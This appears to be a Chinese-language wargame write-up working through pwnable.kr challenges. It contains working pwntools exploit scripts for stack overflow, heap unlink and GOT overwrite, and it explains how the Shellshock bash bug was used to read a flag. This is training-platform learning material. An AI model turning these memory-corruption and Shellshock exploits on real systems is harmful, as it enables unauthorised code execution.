fd
fd是文件描述符,fd=0为标准输入
ssize_t read(int fd,void *buf,size_t nbyte)
read函数从fd中读取内容到buf。
col
构造命令行参数
from pwn import *
pwn_ssh = ssh(host='pwnable.kr',user='col',password='guest',port=2222)
code = '\xE8\x05\xD9\x1D'+'\x01'*16
cn = pwn_ssh.process(argv=['col',code],executable='./col')
print(cn.recv())
bof
通过栈溢出重写func函数的参数,需要覆盖的参数和gets接受的参数相差13字节:
脚本:
from pwn import *
debug=0
context(arch = 'i386', os = 'linux')
if debug:
client=process("/home/apple/calc/test/bof.dms")
else:
client=remote("pwnable.kr",9000)
#print client.recvuntil("overflow me :")
context=""
context+=p32(0xdeadbeef)*13
context+=p32(0xcafebabe)
client.sendline(context)
client.interactive()
pause()
flag
看了半天不知道是咋回事,上网查了wp才知道是upx加壳
脱壳
//安装upx
sudo apt-get install upx
//脱壳
upx -d flag.dms
运行脱壳后的程序,flag就在main函数里
random
//源代码
#include <stdio.h>
int main(){
unsigned int random;
random = rand(); // random value!
unsigned int key=0;
scanf("%d", &key);
if( (key ^ random) == 0xdeadbeef ){
printf("Good!\n");
system("/bin/cat flag");
return 0;
}
printf("Wrong, maybe you should try 2^32 cases.\n");
return 0;
}
就是猜这个随机数是什么呗,c的随机数其实是伪随机数,所以就写个小程序跑一下看 rand() 输出是啥,然后跟0xdeadbeef异或一下。
//flag
random@prowl:~$ ./random
3039230856
Good!
Mommy, I thought libc random is unpredictable...
unlink
这周的期末考试刚考了unlink,所以看着这个眼熟就先拿来做做:)
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
typedef struct tagOBJ{
struct tagOBJ* fd;
struct tagOBJ* bk;
char buf[8];
}OBJ;
void shell(){
system("/bin/sh");
}
void unlink(OBJ* P){
OBJ* BK;
OBJ* FD;
BK=P->bk;
FD=P->fd;
FD->bk=BK;
BK->fd=FD;
}
int main(int argc, char* argv[]){
malloc(1024);
OBJ* A = (OBJ*)malloc(sizeof(OBJ));
OBJ* B = (OBJ*)malloc(sizeof(OBJ));
OBJ* C = (OBJ*)malloc(sizeof(OBJ));
// double linked list: A <-> B <-> C
A->fd = B;
B->bk = A;
B->fd = C;
C->bk = B;
printf("here is stack address leak: %p\n", &A);
printf("here is heap address leak: %p\n", A);
printf("now that you have leaks, get shell!\n");
// heap overflow!
gets(A->buf);
// exploit this unlink!
unlink(B);
return 0;
}
目测
题目构造了一个叫tagOBJ的数据结构和一个叫unlink的函数,还有一个叫shell()的函数用来获取sh权限。
漏洞点在于gets函数,可以通过构造gets的值,使得A溢出,覆写B、C的内容为特定值,unlink后运行shell()函数。
思路
咋构造呢
1.首先因为gets的是A->buf,所以只能覆写B、C的fd、bk,不能覆写A的。
2.然后再看看什么函数能被利用,没找到got表里的函数,看来只能利用return了
3.然后一句句看这个unlink函数
BK=P->bk;
所以要构造B的偏移4字节的位置为shell()函数的地址
FD=P->fd;
所以B的偏移0字节的位置为return的地址-4
FD->bk=BK;
return的地址处的内容改为shell()的地址
实现
首先找到main函数返回地址为0xffffd00c
shell函数的地址位于0x080484eb
运行过程中感觉内存分配跟我算的不太一样,于是一步步看内存分配
第一次malloc
malloc A
malloc B
malloc C
A <-> B <-> C链接完成后
gets()完后
所以因为内存对齐,buf并非占8个字节,而是16字节。
脚本0.0
from pwn import *
debug=1
context(arch = 'i386', os = 'linux')
context.log_level = 'debug'
if debug:
client=process("./unlink")
else:
client = ssh(host='pwnable.kr',user='unlink',password='guest',port=2222).process("./unlink")
bin = ELF('./unlink')
context=""
context+="11111111"*2
context+=p32(0xffffd00c-4) #栈中的main返回地址-4
context+=p32(0x080484f1) #shell()地址
client.sendline(context)
client.interactive()
pause()
然而不行
借鉴
自己怎么想都感觉思路没问题,但是看了网上的wp才知道自己完全跑偏了。
首先,栈地址和堆地址都是随机的(可是gdb每次跑出来的都是一样的,给我一种它不会变的错觉),所以要通过偏移来算真正的地址(这就是题目里两句printf的作用,泄露了堆栈地址)。
其次,leave和return之间有一句 lea esp , [ecx - 4]
,而ecx是从leave上面那句 mov ecx , dword ptr [ebp - 4]
来的
然后return
A的栈地址是0xffffcfe4
和ebp-4相差16
脚本1.0
因为经过了一层ecx,所以应该为shell()的地址找一个存放它的地方,网上的wp是存在A里的,我就存在B里试试。
from pwn import *
debug=1
context(arch = 'i386', os = 'linux')
#context.log_level = 'debug'
if debug:
client=process("./unlink")
else:
client = ssh(host='pwnable.kr',user='unlink',password='guest',port=2222).process("./unlink")
#gdb.attach(client)
client.recvuntil("here is stack address leak: ");
stack =int( client.recv(10),16);
client.recvuntil("here is heap address leak: ");
heap = int(client.recv(10),16);
context=""
context+="1111"*4
context+=p32(stack+16-4)
context+=p32(heap+8+24+4)
context+=p32(0x080484eb) #shell() address
print(context)
client.sendline(context)
client.interactive()
pause()
一口气写完,居然就跑通了)
//flag
conditional_write_what_where_from_unl1nk_explo1t
现在回头看看第一版脚本,真是,幼稚又朴素啊。
思路1.1
做完之后在想我可不可以不借助堆,直接一步到位把shell地址填进去呢
调试后发现不行,错误出现在 unlink() 的 BK->fd=FD;
,也就是说 shell() 所在的地址段是不可写的,所以程序运行不下去了。
看一下map,果然是不可写的。
问题
做完之后在思考一个很傻的问题,代码存的时候是按ABC的顺序存的,但是为什么栈里的却是ACB?嗯?是因为什么奇怪的编译吗?为什么啊
自己编译一遍试验一下,ABC却乖乖地排排队进栈了。
gcc -m32 unlink_test.c -o unlink_test
后记
期末考试虽然考了unlink,自己也感觉懂了其中的原理,但做起题来才感觉自己简直,对不住徐老师给的分,堆栈是随机分配的、内存对齐这些点都要注意,感觉自己缺了好多好多好多知识,哎,加油。
还有就是做这道题的两天里,我的ubuntu莫名崩了而且崩得稀碎,开机都开不起来了,于是从github重新上下载了一个,五颜六色的,比我之前自己配的那个还好看,算是塞翁失马。
passcode
//源代码
# include <stdio.h>
# include <stdlib.h>
void login(){
int passcode1;
int passcode2;
printf("enter passcode1 : ");
scanf("%d", passcode1);
fflush(stdin);
// ha! mommy told me that 32bit is vulnerable to bruteforcing :)
printf("enter passcode2 : ");
scanf("%d", passcode2);
printf("checking...\n");
if(passcode1==338150 && passcode2==13371337){
printf("Login OK!\n");
system("/bin/cat flag");
}
else{
printf("Login Failed!\n");
exit(0);
}
}
void welcome(){
char name[100];
printf("enter you name : ");
scanf("%100s", name);
printf("Welcome %s!\n", name);
}
int main(){
printf("Toddler's Secure Login System 1.0 beta.\n");
welcome();
login();
// something after login...
printf("Now I can safely trust you that you have credential :)\n");
return 0;
}
目测
漏洞点在login函数里的两处scanf,这两处scanf都没有取参数地址。
思路
通过welcome函数里的scanf,在login函数的passcode1位置写入exit/fflush/任意一个用到的函数的got表的值,然后通过scanf将其覆写为/bin/cat flag的地址。
实现
/bin/cat flag的地址:
got表,打算利用最近的fflush函数,地址为0x0804a004:
定位password1的位置,位于welcome的name里第96字节处。
脚本1.0
根据以上思路构造以下脚本:
from pwn import *
debug=1
context(arch = 'i386', os = 'linux')
context.log_level = 'debug'
if debug:
client=process("/home/apple/calc/test/passcode")
else:
client = ssh(host='pwnable.kr',user='passcode',password='guest',port=2222).process("./passcode")
print client.recvuntil("Toddler's Secure Login System 1.0 beta.\n")
#print client.recvuntil("enter you name : ")
context=""
context+="11111111"*12
context+=p32(0x0804a004)
client.sendline(context)
#print client.recvuntil("enter passcode1 : \n")
context=""
context+=
client.sendline(context)
#print client.recvuntil("enter passcode2 : \n")
client.interactive()
pause()
就是跑不通,一度以为是参数没传进去:(
借鉴
在网上找了别人的wp,才发现关键在于passcode1是int类型,所以把passcode改为10进制才行。
脚本1.1
from pwn import *
debug=0
context(arch = 'i386', os = 'linux')
context.log_level = 'debug'
if debug:
client=process("/home/apple/calc/test/passcode")
else:
client = ssh(host='pwnable.kr',user='passcode',password='guest',port=2222).process("./passcode")
print client.recvuntil("Toddler's Secure Login System 1.0 beta.\n")
#print client.recvuntil("enter you name : ")
context=""
context+="11111111"*12
context+=p32(0x0804a004)
client.sendline(context)
#print client.recvuntil("enter passcode1 : \n")
context="134514147"
client.sendline(context)
#print client.recvuntil("enter passcode2 : \n")
client.interactive()
pause()
成功!
//flag
Sorry mom.. I got confused about scanf usage :(
改进
看别人的wp学到一种新操作,不用手查got表了
bin = ELF('./passcode')
cn.sendline('a'*96+p32(bin.got['fflush']))
脚本1.2
from pwn import *
debug=0
context(arch = 'i386', os = 'linux')
context.log_level = 'debug'
if debug:
client=process("/home/apple/calc/test/passcode")
else:
client = ssh(host='pwnable.kr',user='passcode',password='guest',port=2222).process("./passcode")
print client.recvuntil("Toddler's Secure Login System 1.0 beta.\n")
#print client.recvuntil("enter you name : ")
bin = ELF('./passcode')
context=""
context+="11111111"*12
context+=p32(bin.got['fflush'])
client.sendline(context)
#print client.recvuntil("enter passcode1 : \n")
context="134514147"
client.sendline(context)
client.interactive()
pause()
思路2.0
本题有两处没有取参数地址的scanf,虽然只利用了第一处就可以把题目做出来了,但是出题人原本的意思可能是想让做题人将两个passcode都改为正确的值,然后成功通过判断语句拿到flag。
仔细算了一下,name位于ebp-0x70,而password1位于ebp-0x10:
password2位于ebp-0xc:
name有100(0x64)字节长,正好覆盖password1而覆盖不到password2。
所以俩scanf都用起来可能不太现实。
问题
不知道为什么脚本接受不到”enter you name : “以及之后的字符串,不过接受不到也不影响做题:)
leg
//源代码
#include <stdio.h>
#include <fcntl.h>
int key1(){
asm("mov r3, pc\n");
}
int key2(){
asm(
"push {r6}\n"
"add r6, pc, $1\n"
"bx r6\n"
".code 16\n"
"mov r3, pc\n"
"add r3, $0x4\n"
"push {r3}\n"
"pop {pc}\n"
".code 32\n"
"pop {r6}\n"
);
}
int key3(){
asm("mov r3, lr\n");
}
int main(){
int key=0;
printf("Daddy has very strong arm! : ");
scanf("%d", &key);
if( (key1()+key2()+key3()) == key ){
printf("Congratz!\n");
int fd = open("flag", O_RDONLY);
char buf[100];
int r = read(fd, buf, 100);
write(0, buf, r);
}
else{
printf("I have strong leg :P\n");
}
return 0;
}
(gdb) disass main
Dump of assembler code for function main:
0x00008d3c <+0>: push {r4, r11, lr}
0x00008d40 <+4>: add r11, sp, #8
0x00008d44 <+8>: sub sp, sp, #12
0x00008d48 <+12>: mov r3, #0
0x00008d4c <+16>: str r3, [r11, #-16]
0x00008d50 <+20>: ldr r0, [pc, #104] ; 0x8dc0 <main+132>
0x00008d54 <+24>: bl 0xfb6c <printf>
0x00008d58 <+28>: sub r3, r11, #16
0x00008d5c <+32>: ldr r0, [pc, #96] ; 0x8dc4 <main+136>
0x00008d60 <+36>: mov r1, r3
0x00008d64 <+40>: bl 0xfbd8 <__isoc99_scanf>
0x00008d68 <+44>: bl 0x8cd4 <key1>
0x00008d6c <+48>: mov r4, r0
0x00008d70 <+52>: bl 0x8cf0 <key2>
0x00008d74 <+56>: mov r3, r0
0x00008d78 <+60>: add r4, r4, r3
0x00008d7c <+64>: bl 0x8d20 <key3>
0x00008d80 <+68>: mov r3, r0
0x00008d84 <+72>: add r2, r4, r3
0x00008d88 <+76>: ldr r3, [r11, #-16]
0x00008d8c <+80>: cmp r2, r3
0x00008d90 <+84>: bne 0x8da8 <main+108>
0x00008d94 <+88>: ldr r0, [pc, #44] ; 0x8dc8 <main+140>
0x00008d98 <+92>: bl 0x1050c <puts>
0x00008d9c <+96>: ldr r0, [pc, #40] ; 0x8dcc <main+144>
0x00008da0 <+100>: bl 0xf89c <system>
0x00008da4 <+104>: b 0x8db0 <main+116>
0x00008da8 <+108>: ldr r0, [pc, #32] ; 0x8dd0 <main+148>
0x00008dac <+112>: bl 0x1050c <puts>
0x00008db0 <+116>: mov r3, #0
0x00008db4 <+120>: mov r0, r3
0x00008db8 <+124>: sub sp, r11, #8
0x00008dbc <+128>: pop {r4, r11, pc}
0x00008dc0 <+132>: andeq r10, r6, r12, lsl #9
0x00008dc4 <+136>: andeq r10, r6, r12, lsr #9
0x00008dc8 <+140>: ; <UNDEFINED> instruction: 0x0006a4b0
0x00008dcc <+144>: ; <UNDEFINED> instruction: 0x0006a4bc
0x00008dd0 <+148>: andeq r10, r6, r4, asr #9
End of assembler dump.
(gdb) disass key1
Dump of assembler code for function key1:
0x00008cd4 <+0>: push {r11} ; (str r11, [sp, #-4]!)
0x00008cd8 <+4>: add r11, sp, #0
0x00008cdc <+8>: mov r3, pc
0x00008ce0 <+12>: mov r0, r3
0x00008ce4 <+16>: sub sp, r11, #0
0x00008ce8 <+20>: pop {r11} ; (ldr r11, [sp], #4)
0x00008cec <+24>: bx lr
End of assembler dump.
(gdb) disass key2
Dump of assembler code for function key2:
0x00008cf0 <+0>: push {r11} ; (str r11, [sp, #-4]!)
0x00008cf4 <+4>: add r11, sp, #0
0x00008cf8 <+8>: push {r6} ; (str r6, [sp, #-4]!)
0x00008cfc <+12>: add r6, pc, #1
0x00008d00 <+16>: bx r6
0x00008d04 <+20>: mov r3, pc
0x00008d06 <+22>: adds r3, #4
0x00008d08 <+24>: push {r3}
0x00008d0a <+26>: pop {pc}
0x00008d0c <+28>: pop {r6} ; (ldr r6, [sp], #4)
0x00008d10 <+32>: mov r0, r3
0x00008d14 <+36>: sub sp, r11, #0
0x00008d18 <+40>: pop {r11} ; (ldr r11, [sp], #4)
0x00008d1c <+44>: bx lr
End of assembler dump.
(gdb) disass key3
Dump of assembler code for function key3:
0x00008d20 <+0>: push {r11} ; (str r11, [sp, #-4]!)
0x00008d24 <+4>: add r11, sp, #0
0x00008d28 <+8>: mov r3, lr
0x00008d2c <+12>: mov r0, r3
0x00008d30 <+16>: sub sp, r11, #0
0x00008d34 <+20>: pop {r11} ; (ldr r11, [sp], #4)
0x00008d38 <+24>: bx lr
End of assembler dump.
(gdb)
分析
scp居然下载不下来,看来只能瞪眼看了。
题目让key的值最终等于key1() key2() key3()这仨函数的返回值之和
key1
(ARM用r0传递返回值,pc指向当前指令(正在执行)+2*(指令长度)处)
返回值r0来自于r3
r3的值来自于pc
寄存器pc(r15)在arm状态下(指令长度为4,RISC等长指令集),总是指向当前指令(正在执行)+2*(指令长度)处,这里执行了0x00008cdc后,r3为0x00008ce4。
key2
(指令最后一位用于做标志位,bx跳转时if地址最后一位是0->arm状态(4字节指令),1->thumb状态(2字节指令))
r0来自于r3
r3 = pc(0x00008d08)+2*2=0x00008d0c
注意:
- key2+8处程序一开始保存了r6,则说明r6会被后面的指令用到。
- key2+12处r6变为0x00008d05。
- key2+16处bx跳转到key+20(指令地址会先和0xFFFFFFFE进行按位与,因为最后一位肯定是0,因此最后一位用于做标志位,bx执行时如果地址最后一位是0,表示跳到arm状态,1则跳到thumb态),因为地址最低位是1,所以切换为thumb状态。(thumb状态每条指令是2字节长,arm状态每条指令是4字节长)。
- 最后把r3给r0作为返回值,也就是0x00008d0c。此后通过bx跳回main(此前bl指令将pc-4存在lr中)时,状态又换为arm。
key3
(LR保存调用函数时PC下一次要执行的地址)
r0来自于r3
r3 来自于lr
此处lr是0x00008d7c <+64>: bl 0x8d20 <key3>
处pc-4的地址0x00008d80
注意:
ARM是三级流水线的:取指,译码,执行。
ARM的R15(PC)总是指向取指的地方(不过分析时我们总是以执行作为分析参考点)。
而LR指向PC下一次要执行的地址
LR is link register used to hold the return address for a function call.
PC和LR关系如下图所示
key
0x00008d80+0x00008d0c+0x00008ce4=108400
学习
X86是复杂指令集(CISC)的代表,而ARM则是精简指令集(RISC)的代表
平时一般用的都是X86
但这些背是背不过了,还是考察搜索引擎的使用呗。
shellshock
//源代码
#include <stdio.h>
int main(){
setresuid(getegid(), getegid(), getegid());
setresgid(getegid(), getegid(), getegid());
system("/home/shellshock/bash -c 'echo shock_me'");
return 0;
}
题目里写着
Mommy, there was a shocking news about bash.
I bet you already know, but lets just make it sure :)
那你可赌输了:)
查资料
搜到一篇写得特别好玩的shellshock原理
做题
目录里有个bash,是要攻击的对象(做了半天才意识到这一点)
查看该bash的版本,正好是有漏洞的4.2版本
尝试一下,发现存在任意代码执行漏洞
执行cat flag,拿到flag
//flag
only if I knew CVE-2014-6271 ten years ago..!!
不过说实话,拿到flag后我也不知道这个flag是怎么拿到的。
在网上搜了一下suid euid ruid的知识,没找到写得明明白白的。
我理解的就是,如果这个文件的权限用s替代x的话,那么其他用户就可以 通过set suid的方式来获取该文件所有者的权限 / 通过set sgid的方式来获取该文件所在组的权限,并用获取的权限来执行文件。
对于本题来说,查看一下文件的权限,可以看到文件shellshock所在组的权限里有s。
然后回看代码
setresuid(getegid(), getegid(), getegid());
setresgid(getegid(), getegid(), getegid());
程序把该进程的ruid、euid、suid统统设成了getegid()也就是shellshock_pwn这个组的id,
而shellshock_pwn这个组对flag有read权限。
问题
按理说env和export应该都可以用来定义export的环境变量,但是实际上env并不可以
input
闯过五关即可拿到flag,五关分别为命令行参数、IO重定向、环境变量、文件读写、socket通信,学到了一些pwntools的操作。
process(argv=a,env=e,executable='/home/giantbranch/Q1IQ/pwnable/input',stdin=f,stderr=f1)#argv是元组,env是字典,不写executable的话会打开argv[0],stdin和stderr是文件描述符
#其中
a=['a',]
e={"\xde\xad\xbe\xef":"\xca\xfe\xba\xbe"}
f=open('./1.txt','r')
如何往pwnable的服务器上传文件
在pwnable服务器的/tmp里新建自己的文件夹
传文件
$ scp -P 2222 ./input.py input2@pwnable.kr:/tmp/q1iq
有了
但是要cat flag,我自己建的文件夹里哪有flag啊
所以要软链接一个过来
os.system("ln -s /home/input2/flag flag")
可了
mistake
运算符优先级的问题,比较运算符是高于赋值运算符的,所以源程序这一句实际上将0赋值给了fd,也就是标准输入
if(fd=open("/home/mistake/password",O_RDONLY,0400) < 0)
不过不同语言之间有差别,一般是 非 > 算术运算符 > 关系运算符 > 与 > 或 > 赋值运算符
coin1
二分法找一堆10里的一个9(跟pwn有啥关系)